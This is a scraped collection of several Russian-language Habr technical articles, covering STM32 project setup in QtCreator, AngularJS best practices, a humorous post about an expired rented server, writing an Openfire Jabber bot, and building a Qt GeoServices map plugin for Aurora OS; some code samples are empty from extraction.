CC = $(PREFIX)gcc
AS = $(PREFIX)gcc -x assembler-with-cpp
CP = $(PREFIX)objcopy
SZ = $(PREFIX)size
endif
HEX = $(CP) -O ihex
BIN = $(CP) -O binary -S
#######################################
# CFLAGS
#######################################
CPU = -mcpu=cortex-m3
MCU = $(CPU) -mthumb $(FPU) $(FLOAT-ABI)
AS_DEFS =
C_DEFS = \
-DSTM32F103xB
AS_INCLUDES =
C_INCLUDES = \
-Isrc \
-Ilib/cmsis_core/Include \
-Ilib/cmsis_device_f1/Include
ASFLAGS = $(MCU) $(AS_DEFS) $(AS_INCLUDES) $(OPT) -Wall -fdata-sections -ffunction-sections
CFLAGS = $(MCU) $(C_DEFS) $(C_INCLUDES) $(OPT) -Wall -fdata-sections -ffunction-sections
ifeq ($(DEBUG), 1)
CFLAGS += -g -gdwarf-2
endif
CFLAGS += -MMD -MP -MF"$(@:%.o=%.d)"
#######################################
# LDFLAGS
#######################################
LDSCRIPT = lib/cmsis_device_f1/Source/Templates/gcc/linker/STM32F103XB_FLASH.ld
LIBS = -lc -lm -lnosys
LIBDIR =
LDFLAGS = $(MCU) -specs=nano.specs -T$(LDSCRIPT) $(LIBDIR) $(LIBS) -Wl,-Map=$(BUILD_DIR)/$(TARGET).map,--cref -Wl,--gc-sections
#######################################
# build the application
#######################################
all: $(BUILD_DIR)/$(TARGET).elf $(BUILD_DIR)/$(TARGET).hex $(BUILD_DIR)/$(TARGET).bin
OBJECTS = $(addprefix $(BUILD_DIR)/,$(notdir $(C_SOURCES:.c=.o)))
vpath %.c $(sort $(dir $(C_SOURCES)))
OBJECTS += $(addprefix $(BUILD_DIR)/,$(notdir $(ASM_SOURCES:.s=.o)))
vpath %.s $(sort $(dir $(ASM_SOURCES)))
$(BUILD_DIR)/%.o: %.c Makefile | $(BUILD_DIR)
$(CC) -c $(CFLAGS) -Wa,-a,-ad,-alms=$(BUILD_DIR)/$(notdir $(<:.c=.lst)) $< -o $@
$(BUILD_DIR)/%.o: %.s Makefile | $(BUILD_DIR)
$(AS) -c $(CFLAGS) $< -o $@
$(BUILD_DIR)/$(TARGET).elf: $(OBJECTS) Makefile
$(CC) $(OBJECTS) $(LDFLAGS) -o $@
$(SZ) $@
$(BUILD_DIR)/%.hex: $(BUILD_DIR)/%.elf | $(BUILD_DIR)
$(BIN) $< $@
$(BUILD_DIR)/%.bin: $(BUILD_DIR)/%.elf | $(BUILD_DIR)
$(BIN) $< $@
$(BUILD_DIR):
mkdir $@
clean_build: $(BUILD_DIR)/$(TARGET).elf $(BUILD_DIR)/$(TARGET).bin
find $(BUILD_DIR) ! -name '$(TARGET).bin' -type f -exec rm -f {} +
#######################################
# clean up
#######################################
clean:
rm -fR $(BUILD_DIR)/*
```
* В C\_INCLUDES указываем пути к нашим .h файлам.
* В C\_SOURCES указываем пути к нашим .c/.cpp файлам.
* DEBUG указывает на добавление дебаг-символов в прошивку. Для релиза выставляем в 0.
* OPT указывает на оптимизацию. Для релиза включаем оптимизацию, например, Os.
Конечно, в качестве билд-системы можно использовать любую другую, например, **CMake** с тулчейном для STM32.
Добавим папку **build** в **.gitignore**, чтобы гит ее не отслеживал.
```
echo build/* > .gitignore
```
На этом настройка проекта завершена и его можно импортировать в QtCreator.
Импорт и настройка проекта в QtCreator
--------------------------------------
QtCreator не очень дружит с Makefiles. Если попытаться использовать Autotools плагин, то у меня добавлялись только .c и .cpp файлы. Поэтому импортируем проект через специальный интерфейс QtCreator. Для этого понадобится плагин **GenericProjectManager**.
Переходим в **File->New Project**. Слева в **Import Existing Project**.
Далее указываем название проекта l**ed\_blink\_cmsis** и путь **C:\led\_blink\_cmsis**. Next.
Выбираем какие директории и файлы импортировать. Выбираем пока только нашу папку **src**. Next.
Затем **add to version control – none** и нажимаем Finish. Файлы теперь импортированы.
Далее очень важная деталь – надо добавить в **led\_blink\_cmsis.config** определение нашего контроллера, **#define STM32F103xB**. Без этого дефайна ничего не будет работать, т.к. в библиотеке cmsis требуется указать тип контроллера для включения кода для работы с ним.
На данном этапе ide не распознает зависимости. Настроим это.
Добавим наши **.c** файлы в **led\_blink\_cmsis.files**
```
src/init.c
src/main.c
```
А в **led\_blink\_cmsis.inludes** пути к заголовочным файлам.
```
src/
lib/cmsis_core/Include
lib/cmsis_device_f1/Include
```
Теперь все должно отображаться корректно.
Попробуем собрать проект, нажав кнопку **build**. Проект должен собраться, а в конце будет таблица с размером нашей прошивки.
Теперь добавим автозагрузку нашей прошивки на МК по нажатию на кнопку **Run**. Переходим в **Projects** слева, выбираем наш комплект **arm-baremetal-generic-elf-32bit**, затем снизу **Run**. Справа, где deployment, **Add Deploy Step->Make**. Затем повторяем, выбрав **Custom Process Step** и добавляем туда команду для прошивки через **ST\_link CLI**.
```
C:\Program Files (x86)\STMicroelectronics\STM32 ST-LINK Utility\ST-LINK Utility\ST-LINK_CLI.exe
-P ".\build\led_blink_cmsis.bin" 0x08000000 –Rst
```
Перед прошивкой подключаем наш ST-Link c МК. Мы прошиваем МК, начиная с адреса 0x08000000, и перезагружаем МК после прошивки.
Таким образом, подключив МК через ST-Link и нажав кнопку **Run**, все должно скомпилироваться, загрузиться, а светодиод начать моргать. Это можно видеть по показаниям осциллографа, который подключен к PC13.
Таким образом, мы рассмотрели как настроить проект для STM32, его скомпилировать и загрузить в МК. Дальше настроим отладчик для комфортной отладки STM32.
Настройка отладки
-----------------
Ранее мы уже настроили удаленный отладчик через openocd, и он должен работать
Однако было весьма здорово иметь возможность видеть состояние регистров МК. Добавим такую возможность. Для этого нам понадобится **.svd** файл для нашего МК, т.е. **STM32F103**. Скачать его можно, например, из этого репозитория:
> <https://github.com/fduignan/stm32f103c8t6>
>
>
Далее перейдем в **QtCreator Edit->Preferences->Devices**, на вкладку **Bar Metal** и выберем **OpenOCD**. Указываем в **Peripheral description file** наш путь **.svd** файлу.
Теперь в режиме отладки перейдем в **View->Views->Peripheral
Registers**, чтобы отобразить состояние конфигурационных регистров. Запустив
окно отладки и, кликнув правой клавишей мыши на окне **Peripheral registers**,
можно выбрать группу регистров для отображения, в нашем примере **View Groups->GPIOC**.
В итоге мы имеем все удобства для отладки устройств на STM32 в IDE QtCreator.
Заключение
----------
Таким образом, в рамках данной статьи рассмотрена настройка QtCreator в связке с GNU компиляторами для полноценной разработки ПО для МК STM32. Надеюсь, что статья была полезна.
Спасибо за внимание! | https://habr.com/ru/post/705062/ | null | ru | null |
# Лучшие практики AngularJS
По мотивам [этой](http://www.youtube.com/watch?feature=player_embedded&v=ZhfUv0spHCY) трансляции.
Вместо предисловия скажу, что есть такой сайт [yeoman.io](http://yeoman.io), где собраны наиболее популярные технологии, автоматизирующие разработку фронтенда (сборку, параметризацию CSS и проч.). Обратите на него внимание в начале работы над проектом.
#### Использование директив
Некоторое количество разработчиков считают, что директивы захламляют HTML, так же им тяжело изменить старые привычки. Стоит заметить, что директивы существуют в HTML с незапамятных времен. Это всем хорошо знакомые элементы формы: поля ввода, радиокнопки, выпадающие списки и проч. Другое дело, что сделаны они «чтобы отстали». Эту проблему и решает Ангуляр.
Сравним обычный чекбокс
```
```
и чекбокс в Ангуляре
```
```
Что проще? `name/id/class` можно не указывать, потому что директивы не привязываются по имени. Начальное состояние задается моделью, поэтому `checked` не имеет смысла. Но это еще не всё. Последний код можно переписать и так
```
```
Думаю, многие в начале знакомства с HTML недоумевали почему подобного нет в стандартном варианте, почему чекбокс возвращает `on` или пустоту, а не `true` и `false`, почему можно изменить только значение `on` и много других почему.
Так вот, Ангуляр просто заставляет вести существующие интерактивные элементы понятным образом, унифицирует связь элементов с данным модели и на этой основе дает возможность создавать какие угодно собственные элементы управления, не дожидаясь прихода HTML5, HTML6 или HTML8.
Теперь рассмотрим директиву, аналогов которой в HTML нет
```
```
На лицо использование логики в тегах. На самом деле это не совсем так. Основная логика, а она гораздо сложнее, упакована в скрипт, описывающий директиву. В атрибут вынесен только интерфейс взаимодействия. Разработчики Ангуляра полагают (и с ними сложно не согласиться), что разметка должна говорить не только о том, *КАКИЕ* элементы расположены на странице, но так же о том, *ЧТО* они делают. А описание того *КАК* они это делают — удел скрипта.
Разумеется, в директиву можно запихать и сложную логику. Можно, вообще, практически любое поведение организовать из набора стандартных директив. Иногда это оправдано, особенно, когда нужно что-то сделать быстро, но Ангуляр не пропагандирует на 100% такой подход.
Все уже знают, что директивы можно записывать несколькими способами
```
```
Так вот, наиболее предпочтительный (близкий к идеологии) первый способ. В ряде случаев (например, для директив, подобной ng-repeat, или для совместимости, в т.ч. психологической) — второй. Третий сделан просто так. Четвертый необходим, чтобы обойти ограничения HTML, например поместить что-либо отличное от `|` в тег `|
| |`. Так же для лучшей совместимости со старыми браузерами рекомендуется начинать имя директивы с какого-либо префикса (напр., my-). Для валидаторов можно добавлять к именам префиксы x- или data- (они будут отброшены Ангуляром).
#### Борьба со вспышками
Другими словами, как сделать загрузку страницы более гладкой для пользователя.
Во-первых, размещайте ангуляровские скрипты в конце страницы, чтобы пользователь не смотрел на белый экран, пока они грузятся.
Во-вторых, обратите внимание на директиву [`ng-cloak`](http://www.angular.ru/api/ng.directive:ngCloak), которая скрывает шаблон до полной его обработки Ангуляром, а так же используйте [`ng-bind`](http://www.angular.ru/api/ng.directive:ngBind) вместо выражения в фигурных скобках `{{ }}`.
На самом деле, в большинстве простых случаев проблем с мерцанием попросту не возникает.
#### Отличие контроллеров от сервисов
*Контроллеры* описывают поведение вида, т.е. отвечают на вопросы, **что произойдет, если нажать на кнопку Х и где проводить работу с данными Х**. Для каждого вида приложения создается отдельный экземпляр контроллера. В контроллерах ни в коем случае нельзя проводить манипуляции с DOM. Работа с DOM производится только в директивах.
*Сервисы* содержат основную логику и отвечают на вопрос **что и как делает Х**. В отличие от контроллеров, сервисы это синглтоны, т. е. во всем приложении может существовать только один экземпляр сервиса. В них так же не стоит работать с DOM, но иногда можно, например, если необходимо сделать глобальное диалоговое окно и т. п. В любом случае, использование DOM-манипуляций в сервисах необходимо ограничить.
#### Деградация говнокода
Из всего вышесказанного можно определить стратегию борьбы с говнокодом. Во время экспериментов, авралов и проч. простая логика может писаться прямо в HTML, по мере усложнения её необходимо переносить в отдельные директивы и контроллеры. Далее вся, не относящаяся к представлению логика, выносится в сервисы. Получается своего рода локальный рефакторинг.
#### Области видимости (scope)
Область видимости связывает вид с контроллером. Она предназначена **только для чтения в шаблонах (виде)** и **только для записи в контроллерах**.
Не стоит путать область видимости с моделью. **Область видимости это ссылка на модель**. Поэтому неправильно записывать параметры модели в область видимости напрямую. Необходимо создать один параметр и поместить туда модель.
```
//неправильно
$scope.param1 = 'hello';
$scope.param2 = 'world';
//правильно
$scope.model = {
param1: 'hello',
param2: 'world'
};
```
Разница в этих подходах наглядно демонстрируется в этом [видео](http://www.egghead.io/video/HXpHV5gWgyk), а так же в первом [примере](http://www.angular.ru/cookbook/watcharray) (см. комментарии в коде).
Соответственно, обращение к модели в директивах чаще всего будет выглядеть так: ``и можно сформулировать правило: **если в обращении к модели нет точки, значит что-то делается неправильно**.
#### Модули
Не стоит разделять модули по особенностям реализации, т.е. на модуль для директив, модуль для контроллеров и т. д. Необходимо группировать модули по функциональности и схожести решаемых ими задач. Каждая библиотека многоразового использования должна быть собрана в один модуль.
При создании и использовании модуля стоит принять во внимание то, что, если он относится к обособленной части вида, то может быть лениво загружен (такая функциональность в планах). Поэтому распределите зависимости таким образом, чтобы он не вызывался когда в этом нет нужды.
#### Производительность
Для ускорения приложений
* Минифицируйте и объединяйте ява-скрипты
* Используйте GZIP-сжатие (может ускорить загрузку в два раза)
* НЕ кэшируйте index.html, т.к. он содержит ссылки на подключаемые библиотеки и браузер, у которого этот файл закэширован, будет всегда ссылаться на их старые версии.
* Кэшируйте (сохраняя версионность): шаблоны, код, картинки, CSS.
Пока Ангуляр не поддерживает компиляцию шаблонов на сервере и выдачу всей страницы одним запросом (в планах второй версии), поэтому для ускорения рекомендуется объединить все микрозапросы в один самостоятельно. А так же использовать кэширование шаблонов.
Что касается производительности клиентского кода, то она больше всего зависит от двух факторов:
* Как много данных, требующих связывания, располагается на странице (как правило, они заключаются в {{ }}).
* Насколько тяжелые выражения вычисляются для этих данных.
Не используйте медленные функции в `$watch` и в выражениях `{{ }}`. Так же не имеет значения сколько данных, требующих связывания, на странице, если в данный момент рендерится только один кусок.
Директивы `ng-view` и `ng-include` изменяют DOM-структуру приложения, поэтому не попадают в стандартный цикл перерисовки, тогда как `ng-show` и `ng-hide` структуру не меняют. С директивой `ng-repeat` для генерации списков нужно быть осторожнее, т. к., если при сотнях строк всё хорошо, то при тысячах могут начаться тормоза. В этом случае рекомендуется разбивать данные на страницы, использовать поиск и т. п. Можно использовать фильтры, но иногда они могут оказаться слишком дорогими, особенно, когда запускаются снова и снова. В этом случае можно создать вторую, внутреннюю модель. Сохранять в нее отфильтрованные данные из основной модели и уже вторую модель использовать в `ng-repeat`. Возможны и другие стратегии.
Для вставки шаблонов в DOM предпочтительнее использовать `ng-include` вместо `innerHTML`, т. к. она лучше оптимизирована.
#### Планы на будущее
В данный момент разработчики Ангуляра работают над ленивой загрузкой скриптов, а так же над реализацией пре-рендеринга страницы на сервере, что должно ускорить начальную загрузку, а так же способствовать индексации страницы поисковиками. Так же планируется упростить API директив и доработать анимацию, которая уже появилась в последних версиях фреймворка.`` | https://habr.com/ru/post/181882/ | null | ru | null |
# Jabber-бот для Openfire за час
Вот уже порядка двух лет я занимаюсь разработкой ботов для ICQ. После ряда недавних [событий](http://habrahabr.ru/blogs/im/51000/), из-за которых ICQ-боты часто оказывались неработоспособными, а также после статьи [Знакомство с jabber ботами](http://habrahabr.ru/blogs/im/51328/), у меня возникло стойкое желание изучить вопросы, связанные с разработкой ботов для Jabber.
В данном посте я хочу поделиться с вами своим первым опытом в данной области. Расскажу как с нуля, потратив всего один час времени, написать простого Jabber-бота.
В качестве платфомы для разработки бота я выбрал [Openfire](http://ru.wikipedia.org/wiki/Openfire). На выбор повлияло то, что Openfire написан на Java (изучать что-нибудь типа Python совершенно не хотелось). Плагинная структура Openfire позволяет быстро и удобно прикрутить к нему функционал бота. Кроме того, Openfire прост в настройке, и к тому времени уже был установлен в качестве моего jabber-сервера.
### Устанавливаем окружение
Для начала необходимо установить окружение для разработки, которое позволит строить и запускать Openfire и плагины к нему. Здесь приведен процесс установки под Windows. На других ОС процесс должен выглядеть примерно так же.
1. Качаем и устанавливаем *Java SE Development Kit (JDK)*. Взять можно [тут](http://java.sun.com/javase/downloads/index.jsp). Я установил JDK в *C:\Program Files\Java* (папка по-умолчанию). После установки в *C:\Program Files\Java* появились подпапки *jdk1.6.0\_12* и *jre6*.
2. Качаем *Eclipse IDE for Java Developers* [отсюда](http://www.eclipse.org/downloads/). Распаковываем в ту же папку *C:\Program Files\Java*. В результате там появится еще одна подпапка – *eclipse*.
3. Устанавливаем переменные окружения (это делается через *My Computer > Properties > Advanced > Environment Variables*):
* *JAVA\_HOME* = *C:\Program Files\Java\jdk1.6.0\_12*. Если вы распаковали JDK в другую папку, указывайте соответствующий путь.
* В переменную *Path* дописываем *C:\Program Files\Java\jre6\bin* (тоже проверьте правильность пути).
4. Перезагружаемся.
5. Запускаем Eclipse, который попросит выбрать Workspace, или, другими словами, каталог, в котором будут находиться проекты. Допустим, что это будет *С:\Edit*. После выбора Workspace появится Welcome screen, его можно сразу закрыть.
### Строим Openfire
Теперь приступаем ко второму этапу – построению и запуску Openfire. Постарайтесь в точности следовать инструкции, иначе велика вероятность что ничего сразу работать не будет:
1. Качаем исходники Openfire [отсюда](http://www.igniterealtime.org/downloads/source.jsp). Кроме непосредственно Openfire, архив содержит исходники для всех бесплатных плагинов. При разработке своего плагина можно будет смотреть в их код.
2. Архив с исходниками содержит папку *openfire\_src*. Распаковываем её в *С:\Edit*.
3. Идем в Eclipse, создаем новый проект по данным исходниками. Для этого выбираем в меню *File > New > Project > Java Project*. Появится окно создания нового Java-проекта. Пишем в нем следующее:
* *Project name* = *openfire\_src*.
* Отмечаем *Create project from existing source*. В *Directory* указываем *С:\Edit\openfire\_src*.
* Жмем *Finish*.
4. После того как Eclipse создаст проект, настанет время его собрать. Для этого выбираем в меню *Window > Show view > Ant*. В рабочей зоне Eclipse появится панель Ant. Щелкаем по ней правой кнопкой мыши, в ниспадающем меню выбираем *Add Buildfiles*.
5. В появившемся дереве выбираем *openfire\_src > build > build.xml*. Жмем OK.
6. В панели Ant появляется *Openfire XMPP server* со множеством вариантов сборки.
7. Собираем Openfire. Для этого находим в дереве вариант сборки с названием *openfire [default]* и дважды щелкаем по нему. Можно также просто щелкнуть по корневому элементу дерева.
8. Спустя небольшое время после запуска сборки, Eclipse должен показать консоль, в которой будет появляться информация о ходе сборки. Ждем появления надписи *BUILD SUCCESSFUL*.
9. Теперь настраиваем параметры запуска Openfire, для этого идем в меню *Run > Run configurations*.
10. В появившемся окне дважды щелкаем по *Java application*. Создается новая конфигурация, теперь её нужно настроить для правильного запуска нашей сборки. Пишем следующее:
* *Name* = *Openfire* (или любое другое, не важно).
* *Project* = *openfire\_src*.
* *Main class* = *org.jivesoftware.openfire.starter.ServerStarter*.
* На закладке *Arguments* в *VM arguments* пишем *-DopenfireHome=«target/openfire»*. Обратите внимание на отсутствие пробела после *-D*.
* На закладке *Classpath* выбираем *User entries* и нажимаем кнопку *Advanced*. Выбираем *Add folders* и добавляем папку *openfire\_src\src\i18n*. После этого таким же образом добавляем папку *openfire\_src\src\resources\jar*.
* Жмем *Apply*, затем *Run*.
Если все сделано правильно, то в консоли появится строчка с версией Openfire и сообщение о том, что консоль администратора слушает на порту 9090. Теперь можно сходить за кофе, так как основная часть работы уже позади. Можно также мысленно посочуствовать тем, у кого заветная надпись в консоли не появилась. Обращаясь к последним – внимательно проверьте последовательность своих действий. Как я предупреждал ранее, инструкцию нужно выполнять в точности, ничего лишнего не делать.
### Настраиваем Openfire
Продолжаем. Теперь необходимо настроить сам сервер Openfire. Вводим в браузере *[localhost](http://localhost):9090*, после чего запустится процедура настройки. Здесь все достаточно тривиально. Так как мы устанавливаем конфигурацию для разработки, то особо мудрствовать не будем:
* На странице *Server Settings* выставляем *server name* = *localhost*, порты по-умолчанию.
* На странице *Database Settings* выбираем *Embedded Database*.
* На странице *Profile Settings* оставляем все по-умолчанию.
* На странице *Administrator Account* – вводим любой несуществующий почтовый ящик. Также вводим и запоминаем пароль администратора.
После этого можно выбрать *Login to the admin console* и перейти на страницу авторизации. Заходить нужно под учетной записью *admin* с указанным ранее паролем. Также можно попробовать подключиться к нашему серверу любым jabber-клиентом под тем же *admin*. Если все нормально, то можно останавливать сервер и переходить к следующему этапу.
### Пишем бота
Вот мы и добрались до самого главного этапа. Теперь мы должны написать плагин, который будет реализовывать функции бота.
Все исходники Openfire-плагинов расположены в папке *openfire\_src\src\plugins*. Для каждого плагина там есть отдельная папка, в которой как минимум находится файл *plugin.xml* с описанием плагина и Java-файл с описанием основного класса плагина. Дополнительная информация есть в документации по Openfire (загляните к примеру в *openfire\_src\documentation\docs\plugin-dev-guide.html*).
Создаем папку для нового плагина: *openfire\_src\src\plugins\simplebot*. В ней заводим файл *plugin.xml*, в который пишем следующее:
> `</fontxml version="1.0" encoding="UTF-8"?>
>
> <plugin>
> <class>org.jivesoftware.openfire.plugin.simplebotclass>
> <name>Simple Botname>
> <description>Provides simple bot functionality.description>
> <author>Habrahabrauthor>
> <version>1.0.0version>
> <date>18/2/2009date>
> <minServerVersion>3.5.0minServerVersion>
> plugin>
>
>
> \* This source code was highlighted with Source Code Highlighter.` | https://habr.com/ru/post/52523/ | null | ru | null |
# О качестве отечественных серверов для рядового разработчика
Любые совпадения с реальностью случайны.
Вот вы - рядовой разработчик. Пишите себе код, починяете примус. И вот захотелось вам сделать хобби-проект (да, для меня хобби - это моя профессия; мне не повезло? или это когда работа - хобби?). Тем более, что - это полезно! Вам об этом раскажут в любой статье о карьерном росте!
Решили, значит.
Так как любой софт в итоге должен где-то работать, вам под это дело потребовалась инфраструктура. (Какая, кстати? Можете развернуть свой docker-образ? Или даже, кластер? Или виртуальную машину? ~~Или, на худой конец, три строчки кода?~~ На чём она у вас [написана](https://duckduckgo.com/?q=infrastructure+as+a+code)?).
Решили вы, значит, арендовать сервер.
Почитали хабр, про провайдеров выделенных серверов, про администрирование и т. д. Сравнили цены. Выбрали провайдера. (А сколо стоит сервак? Тьфу! По цене бутерброда с котлетой во вкусно и точка! Дайте два!)
Вот сидите в субботу вечером, разворачиваете свой хобби-проект на сервер. (Кстати, он у вас прямо из мастера "сам" разворачивается?)
Наигралисы вы с сервером, а благополучно забили на него на ~~23~~ недели - работает же. Ан, нет, сервер-то денюжку просит каждый месяц! Получается, уже 12 бургеров в год! Придётся опять "худеть к лету".
Решили - на днях оплачу. День пролетел за днём, а за ним ещё один, и вот уже провайдер заблаговременно предупреждает вас по электронной почте, мол, заплати, мил человек - сервер задарма работать не будет. (Бэкапы сделали? А снапшоты?). Да и зачем каждый месяц вообще вспоминать про это? Беру на год! Хотя...
Яжпрограммист. Напишу скрипт, который будет сам оплачивать, когда приходит событие на почту. А себе сделаю кнопку "вкл/выкл" - удобно же! Стоп, а его-то куда задеплоить?
```
(⊙.☉)7
confused scratch
```
Лаадно, пойду закину бургер в топку сервера. Ой... Сегодня уже третье, только не сентября, а декабря, и сервер удалили за неуплату. М-даа... Что-то не хочется уже пользоваться услугами этого провайдера.
Решили вы, значит, хотя бы снапшот скачать, и из него машину восстановить. Сервак-то у вас был на `$ uname -a` (а у меня - в `machines/<...>/configuration.scm`), так что это единственный способ его "быстро" восстановить. А... снапшотов тоже нет! Они почили вместе с сервером.
Эхх... Ну да ладно. Всё равно ещё один сервак есть (у другого провайдера). Здесь же осталось только удалить аккаунт.
Хм, странно. [Всё равно почему-то 90 рублей на балансе осталось.](#) Пускай. Отдайте тестировщику.
```
-bash-5.1$ uptime
19:09:39 up 33 days 8:02, 1 user, load average: 0.00, 0.00, 0.00
``` | https://habr.com/ru/post/703336/ | null | ru | null |
# Создаём плагин Qt GeoServices на примере ОС Аврора, OpenStreetMap и Sight Safari
Привет, Хабр! Хотим рассказать о том, как создать плагин Qt GeoServices и использовать его в своём приложении на ОС Аврора. В этом посте мы подробно объясним, как научить приложение определять координаты устройства на карте и прокладывать оптимальные маршруты с помощью сервиса Sight Safari. Самые нетерпеливые могут пощупать готовый код [плагина](https://github.com/osanwe/qtgeoservices-osmscoutoffline) и [демо-приложения](https://github.com/osanwe/harbour-sight-safary) на GitHub, всех остальных приглашаем под кат.
### Зачем писать свой плагин
Когда приложению на Qt требуется поддержка карт, то первое, что приходит на ум — использовать QML-компонент [Map](http://doc.qt.io/qt-5/qml-qtlocation-map.html). Но к нему нужен плагин, реализующий работу с провайдером данных для карты. Так что если ваше приложение должно работать offline или использовать сторонний API, стандартные плагины вас могут не устроить. Придётся реализовывать либо свой плагин, либо свою карту.
Мы пойдём по первому пути: создадим плагин Qt GeoServices, который будет обращаться к [offline-провайдеру тайлов](https://openrepos.net/content/rinigus/osm-scout-server) для отображения карты и к Sight Safari. На Хабре уже рассказывали об этом сервисе для построения маршрутов ([раз](https://habr.com/post/414433/) и [два](https://habr.com/post/414433/)). Возможно, кому-то не помешает изучить [базовую информацию](https://habr.com/post/339932/) о работе с картами в Аврора.
### Подготовка: настраиваем OSM Scout Server
Для offline-доступа к тайлам карты устанавливаем на наш телефон под управлением ОС Аврора [OSM Scout Server](https://openrepos.net/content/rinigus/osm-scout-server) — полностью автономное решение для навигации. Ещё нам понадобится дополнительный [модуль со шрифтами](https://openrepos.net/content/rinigus/osm-scout-server-module-fonts) Noto, которые используются для рендеринга карт.
Чтобы тайлы возвращались в подходящем для отображения формате, выбираем профиль «Рекомендовано для карт с векторными и растровыми тайлами». Теперь осталось выбрать и скачать карты необходимого района в «Диспетчере карт». Они отобразятся списком, как на рисунке ниже.
### С чего начинается плагин: конфигурационный файл
Театр начинается с вешалки, а Qt-плагин — с конфигурационного json-файла.
```
{
"Keys": ["osmscoutoffline"],
"Provider": "osmscoutoffline",
"Version": 100,
"Experimental": false,
"Features": [
"OfflineMappingFeature",
"OnlineRoutingFeature"
]
}
```
`Keys` — уникальное имя плагина, `Provider` — имя сервиса-провайдера, `Version` — версия плагина, `Experimental` — статус плагина, `Features` — список поддерживаемых функций. Согласно нашей конфигурации, плагин `osmscoutoffline` версии `1.0.0`, поддерживает функции отображения карт `offline` и построения маршрутов `online` и не является экспериментальным, то есть доступен для всех приложений.
### Регистрируем плагин в системе
qgeoserviceproviderfactoryosmscoutoffline.h
```
#ifndef QGEOSERVICEPROVIDERFACTORYOSMSCOUTOFFLINE_H
#define QGEOSERVICEPROVIDERFACTORYOSMSCOUTOFFLINE_H
#include
#include
class QGeoServiceProviderFactoryOsmScoutOffline : public QObject, public QGeoServiceProviderFactory
{
Q\_OBJECT
Q\_INTERFACES(QGeoServiceProviderFactory)
Q\_PLUGIN\_METADATA(IID "org.qt-project.qt.geoservice.serviceproviderfactory/5.0"
FILE "../osmscoutoffline\_plugin.json")
public:
QGeoRoutingManagerEngine \*createRoutingManagerEngine(const QVariantMap ¶meters,
QGeoServiceProvider::Error \*error,
QString \*errorString) const;
QGeoMappingManagerEngine \*createMappingManagerEngine(const QVariantMap ¶meters,
QGeoServiceProvider::Error \*error,
QString \*errorString) const;
};
#endif // QGEOSERVICEPROVIDERFACTORYOSMSCOUTOFFLINE\_H
```
qgeoserviceproviderfactoryosmscoutoffline.cpp
```
#include "qgeoserviceproviderfactoryosmscoutoffline.h"
#include "qgeoroutingmanagerengineosmscoutoffline.h"
#include "qgeotiledmappingmanagerengineosmscoutoffline.h"
QGeoRoutingManagerEngine *QGeoServiceProviderFactoryOsmScoutOffline::createRoutingManagerEngine(
const QVariantMap ¶meters, QGeoServiceProvider::Error *error,
QString *errorString) const
{
return new QGeoRoutingManagerEngineOsmScoutOffline(parameters, error, errorString);
}
QGeoMappingManagerEngine *QGeoServiceProviderFactoryOsmScoutOffline::createMappingManagerEngine(
const QVariantMap ¶meters, QGeoServiceProvider::Error *error,
QString *errorString) const
{
return new QGeoTiledMappingManagerEngineOsmScoutOffline(parameters, error, errorString);
}
```
Обратите внимание на макрос `Q_PLUGIN_METADATA`, который регистрирует json-файл в системе. Параметр `IID` — название упомянутого выше класса для реализации интерфейса (org.qt-project.qt.geoservice.serviceproviderfactory/5.0). Параметр `FILE` — путь к json-файлу.
Объявленные в public-секции методы `createRoutingManagerEngine` и `createMappingManagerEngine` создают объекты, отвечающие за ту или иную функцию указанного в `Q_PLUGIN_METADATA` интерфейса. Класс `QGeoRoutingManagerEngineOsmScoutOffline` отвечает за составление маршрутов, с ним мы разберёмся позже. Сейчас нас больше интересует `QGeoTiledMappingManagerEngineOsmScoutOffline` — наследник класса `QGeoTiledMappingManagerEngine`, работающий с OSM Scout Server. В конструкторе этого класса устанавливаем параметры, необходимые для работы нашего плагина.
QGeoTiledMappingManagerEngineOsmScoutOffline::QGeoTiledMappingManagerEngineOsmScoutOffline
```
QGeoTiledMappingManagerEngineOsmScoutOffline::QGeoTiledMappingManagerEngineOsmScoutOffline(
const QVariantMap ¶meters, QGeoServiceProvider::Error *error, QString *errorString)
{
QGeoCameraCapabilities cameraCaps;
cameraCaps.setMinimumZoomLevel(0.0);
cameraCaps.setMaximumZoomLevel(19.0);
setCameraCapabilities(cameraCaps);
setTileSize(QSize(256, 256));
QList mapTypes;
mapTypes << QGeoMapType(QGeoMapType::StreetMap, tr("Street Map"), tr("OSM Street Map"), false, false, 1);
setSupportedMapTypes(mapTypes);
QGeoTileFetcherOsmScoutOffline \*tileFetcher = new QGeoTileFetcherOsmScoutOffline(this);
tileFetcher->setParams(parameters);
setTileFetcher(tileFetcher);
\*error = QGeoServiceProvider::NoError;
errorString->clear();
}
```
Указываем минимальный и максимальный уровни масштабирования карты, а также размер получаемых от сервера тайлов. Затем прописываем поддерживаемые типы карт — в данном случае только карты улиц (StreetMap). Наконец, создаём объект, который будет обращаться к серверу за тайлами. Далее рассмотрим его подробнее.
### Объект, который обращается к серверу
```
QGeoTiledMapReply *QGeoTileFetcherOsmScoutOffline::getTileImage(const QGeoTileSpec &spec)
{
QUrlQuery query;
for (QString &key : m_params.keys())
query.addQueryItem(key, m_params[key].toString());
query.addQueryItem(QStringLiteral("x"), QString::number(spec.x()));
query.addQueryItem(QStringLiteral("y"), QString::number(spec.y()));
query.addQueryItem(QStringLiteral("z"), QString::number(spec.zoom()));
QUrl url(QStringLiteral("http://localhost:8553/v1/tile"));
url.setQuery(query);
QNetworkRequest remoteRequest(url);
QNetworkReply *reply = m_networkManager->get(remoteRequest);
return new QGeoMapReplyOsmScoutOffline(reply, spec);
}
```
Метод `getTileImage` принимает параметры, которым должен соответствовать запрашиваемый тайл, и возвращает объект, содержащий изображение. Запрос к серверу создаётся внутри метода, поэтому его дополнительная синхронизация не требуется даже в случае нелокального расположения сервера.
Важно указать формат API, к которому мы обращаемся. В нашей реализации OSM Scout Server крутится непосредственно на телефоне (<http://localhost>) на стандартном порте (8553). Запрос тайла с сервера (метод `tile`) идёт через первую версию API (v1). Параметры `x`, `y` и `z` — координаты и масштаб запрашиваемого тайла. Цикл по `m_params` в начале метода позволяет добавить к запросу параметры, переданные из определения плагина в QML.
Сохраняем тайл в наследнике класса `QGeoTiledMapReply` — для отображения в компоненте `Map`.
```
void QGeoMapReplyOsmScoutOffline::networkReplyFinished()
{
if (!m_reply)
return;
if (m_reply->error() != QNetworkReply::NoError)
return;
setMapImageData(m_reply->readAll());
setMapImageFormat("png");
setFinished(true);
m_reply->deleteLater();
m_reply = 0;
}
```
